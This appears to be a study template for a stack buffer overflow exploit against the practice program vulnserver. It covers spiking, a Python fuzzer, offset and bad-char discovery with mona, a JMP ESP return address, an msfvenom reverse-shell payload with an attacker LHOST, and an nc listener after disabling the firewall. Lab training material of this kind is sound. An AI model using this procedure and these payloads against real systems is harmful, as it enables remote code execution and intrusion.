Template code

Prerequisites⌗

  • Windows VM
    • Immunity Debugger
    • PATH contains C:\python27
    • C:\python27\Pycommands\mona.py
  • Linux VM
    • Kali, Parrot, custom build
  • Both VMs need to contact each other
  • A will to live

Windows VM⌗

  1. Launch Immunity Debugger as Administrator
  2. File > Open > vulnserver.exe
  3. Set it to run <F9>
  4. Repeat after every crash

Linux VM⌗

Scan the victim IP

nmap -p- <ip>

Connect to the port where the app listens on

nc <ip> <port>

Spiking⌗

  1. Look for commands that can take input like:
    • STATS <args>
    • TRUN <args>
    • …
  2. Create spike script for every command
s_readline();
s_string("<cmd> ");
s_string_variable("A");
  1. Spike it and keep an eye on Immunity Debugger
generic_send_tcp <ip> <port> <spike script> 0 0
  1. Note the command and potential arguments where the script crashes the app

Fuzzing⌗

  1. On every crash, try higher increments in buffer size to see if you can overwrite EIP
  2. Keep an eye on Immunity Debugger
#!/usr/bin/env python3
import sys, socket
from time import sleep

ip='<ip>'
port=<port>
buffersize_incr=100
buffer=b'A'*buffersize_incr

while True:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.settimeout(5)         # 5 seconds
        s.connect((ip, port))   # Note the double ()
        s.send(b'<cmd> ./:/'+buffer)
        s.recv(1024)            # Important, otherwise it won't crash
        s.close()
        sleep(1)                # Sleep, otherwise crash when sending to fast
        buffer=buffer+b'A'*buffersize_incr
    except:
        print('Crashed at {} bytes'.format(str(len(buffer))))
        sys.exit()

Finding offset⌗

  1. Input the buffer size that also overwrites the EIP
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <buffer size>
  1. Put the output of pattern_create.rb in the buffer
...
buffer=b'<pattern>'
...
  1. Take note of the EIP value in Immunity Debugger
  2. Get the exact offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <buffer size> -q <EIP>
  1. Verify by using buffer b'A'*<offset>+b'B'*4
  2. EIP should be 42424242

Bad chars⌗

  1. In Immunity Debugger:
    • !mona config -set workingfolder c:\mona\%p
    • !mona bytearray -b "\x00"
  2. Use below code to generate string of bad chars that is identical to bytearray
#!/usr/bin/env python3
from __future__ import print_function
for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')
print()
  1. Put the string of bad chars before the B’s in your buffer:
badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
buffer = b'A'*<offset>+b'B'*4+badchars
  1. Crash the app with the badchars and compare with mona:
    • Copy ESP each time you crash it because it may change
    • !mona compare -f C:\mona\<appname>\bytearray.bin -a <ESP>
  2. Generate new bytearray, exclude badchars and start over:
    • !mona bytearray -b "\x00\x0a"
    • Delete badchars from buffer
    • Crash app and copy ESP again
    • !mona compare -f C:\mona\<appname>\bytearray.bin -a <ESP>

Find right module⌗

  1. Find module without protections (False):
    • !mona modules
    • Take note of the module name (e.g. essfunc.dll)
  2. Find JMP ESP
    • !mona jmp -r esp -cpb "<badchars"
    • OR
    • !mona find -s "\xff\xe4" -m <module>
  3. Take note of ALL the return addresses for all JMP ESP pointers
  4. buffer=b"A"*<offset>+b"<JMP ESP return address>"
    • 0x625011AF => \xaf\x11\x50\62
  5. In Immunity Debugger: set breakpoint on the JMP ESP return address (Go to address is disassembler: and press F2)
  6. Crash the app again
  7. EIP should now have the JMP ESP return address
  8. If not, try again with other JMP ESP return addresses

Shellcode⌗

msfvenom -l payload
msfvenom \
    -p <payload> \
    LHOST=<attacker ip> \
    LPORT=<attacker port> \
    EXITFUNC=thread \
    -f c \
    -a x86 \
    -b "<bad chars>"

NOTE: If an encoder was used (more than likely if bad chars are present, remember to prepend at least 16 NOPs (\x90) to the payload.)

#!/usr/bin/env python3
prefix = b""
offset = <offset>
overflow = b"A"*offset
returnaddr = b"<JMP ESP addr>"
padding = b"" # NOPs (e.g. \x90\x90\x90)
payload = b"<msfvenom output>"
postfix = b""
buffer = prefix + overflow + returnaddr + padding + payload + postfix
...
sudo ufw disable
nc -lvnp <attacker port>

Finally, crash the app again and get shell :)

Resources⌗